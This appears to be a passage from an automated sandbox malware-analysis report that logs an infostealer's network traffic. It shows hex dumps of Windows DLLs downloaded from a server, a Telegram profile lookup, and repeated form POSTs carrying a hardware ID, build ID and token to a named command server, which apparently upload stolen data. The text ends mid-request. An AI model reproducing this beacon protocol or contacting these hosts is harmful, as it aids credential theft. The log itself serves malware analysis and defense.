00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:30 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:31 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:31 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 00:45:39 GMTContent-Type: application/octet-streamContent-Length: 551424Last-Modified: Tue, 08 Oct 2024 00:39:32 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "67047f44-86a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 43 7f 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 1e f2 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 80 08 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 d4 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 a3 05 00 00 d0 02 00 00 96 05 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 80 08 00 00 04 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 1a 00 00 00 90 08 00 00 1c 00 00 00 4e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /maslengdsa HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJKHost: kasm.zubairgul.comContent-Length: 255Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 30 30 46 35 44 36 35 43 45 31 36 35 30 34 34 35 35 32 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="hwid"1F00F5D65CE1650445529-a33c7340-61ca------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------KEGIDHJKKJDGCBGCGIJK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="mode"1------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEBHost: kasm.zubairgul.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 2d 2d 0d 0a Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="mode"2------FBKKJEBFIDAEBFHIDAEB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: kasm.zubairgul.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="mode"21------DAKEBAKFHCFHIEBFBAFB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: kasm.zubairgul.comContent-Length: 5965Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: kasm.zubairgul.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: kasm.zubairgul.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: kasm.zubairgul.comContent-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: kasm.zubairgul.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 